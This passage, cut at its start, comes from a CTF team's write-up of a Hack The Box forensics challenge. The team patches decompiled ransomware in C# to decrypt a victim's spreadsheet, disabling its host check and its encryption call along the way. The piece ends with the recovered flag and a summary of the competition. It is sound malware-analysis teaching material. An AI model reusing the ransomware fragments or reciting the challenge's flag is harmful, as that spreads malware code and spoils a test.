            0,
            0
        };
        Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, salt, 4953);
        RijndaelManaged rijndaelManaged = new RijndaelManaged();
        rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
        rijndaelManaged.Mode = CipherMode.CBC;
        rijndaelManaged.Padding = PaddingMode.ISO10126;
        rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);

        string decryptedFileName = Path.GetDirectoryName(file) + "\\" + Path.GetFileNameWithoutExtension(file) + "_decrypted" + Path.GetExtension(file);

        using (FileStream fileStream = new FileStream(file, FileMode.Open, FileAccess.Read))
        {
            using (FileStream decryptedFileStream = new FileStream(decryptedFileName, FileMode.Create, FileAccess.Write))
            {
                using (CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Read))
                {
                    byte[] buffer = new byte[65536];
                    int bytesRead;
                    while ((bytesRead = cryptoStream.Read(buffer, 0, buffer.Length)) > 0)
                    {
                        decryptedFileStream.Write(buffer, 0, bytesRead);
                    }
                }
            }
        }

        Console.WriteLine("Decryption complete. Decrypted file saved as: " + decryptedFileName);
    }
}

We do not really need that so we can just cut out the DecryptFile function and add that to our existing Encryptor class. Just pasting it before the EncryptFile function. Now when we added the capability to decrypt files its time to patch the main function so that it uses the DecryptFile function instead of the Enc function. First of all we need to comment out a check that makes the malware run only on a specific computer.

//if (!Dns.GetHostName().Equals("DESKTOP-A1L0P1U", StringComparison.OrdinalIgnoreCase))
//{
//	return;
//}

When that is out of the way we change the generation of the Program.UID to the hardcoded string that we found in the ULTIMATUM.hta file. By using that we will be able to generate the same encryption key that was used in the attack and that way we should be able to decrypt files.

Program.UID = "5K7X7E6X7V2D6F";

At the bottom of the main function we comment out the encryption of all the files since we do absolutley not want to do that. Instead we add the decryption of a single file. Do you remember that encrypted excelfile we found before? The mounted AD1 image is not writeable so we need to copy the file to our working directory and hard code the path here.

// Program.Enc(Environment.CurrentDirectory);
coreEncrypter.DecryptFile("C:\\Users\\f1rstr3am\\Downloads\\forensics_confinement\\Applicants_info.xlsx.korp")

Let’s press that F5 button in Visual Studio and run our patched malware. Hopefully we will be blessed with a decrypted file.

Well THAT looks very promising. No errors and it says it’s decrypted the file. Let’s find out if that is a fact.

PS C:\Users\f1rstr3am\Downloads\forensics_confinement> dir


    Directory: C:\Users\f1rstr3am\Downloads\forensics_confinement


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         3/15/2024  12:21 PM                chainsaw
d-----         3/16/2024  12:47 PM                defender-dump
d-----         3/15/2024   2:44 PM                Encryptor
-a----          3/5/2024   1:55 PM          15488 Applicants_info.xlsx.korp
-a----         3/16/2024   3:46 PM          15475 Applicants_info.xlsx_decrypted.korp
-a----          3/8/2024   2:16 PM      273161662 Confinement.ad1
-a----         3/15/2024   2:03 PM        4031300 events.json
-a----          3/5/2024   1:55 PM           3211 ULTIMATUM.html

We got a decrypted file there. Let’s remove that _decrypted.korp extension.

PS C:\Users\f1rstr3am\Downloads\forensics_confinement> move .\Applicants_info.xlsx_decrypted.korp .\Applicants_info.xlsx

Hopefully we got a working excel file here and now its just a matter of double-clicking that Applicatns_info.xlsx.

YES!!! We got our flag right there!

HTB{2_f34r_1s_4_ch01ce_322720914448bf9831435690c5835634}

If this was real malware we could easily go on now and decrypt every encrypted file in the image. But since this is CTF we are happy with our flag and it’s time to sum it all up.

Summary

That was a great forensics challenge in a great CTF. Many thank’s to Hack The Box for once again giving us a great CTF. With such a wide variety of challenges there’s something for everyone in our team. And even more, it’s a bit hard to cover all these categorys in an 8 people team. But that’s the beauty of it all, you push yourself into unknown territory and learn new things.

In 2023 years Cyber Apocalypse we came in at place 61. It’s kind of a challenge to compete in a 5 day CTF when your team is co-workers of a company. We still need to go to work and help our clients. But that said we are quite happy being number 92 out of 5694 teams and reaching a place in the top 100.

HTBOO CTF

Like I said so many times before, im a big fan of CTF:s being near real life. Most of the challenges in the categories that alow it qualifies as that. The more puzzle oriented can be found in the misc category which is great. I also like the fact that there is a rating of very easy. These are perfect for beginers and as warmup.

Overall this was a great CTF, I only wish we had some more time.

Until next time, happy hacking!

/f1rstr3am & Spazborg

Christian Christian

HTB THM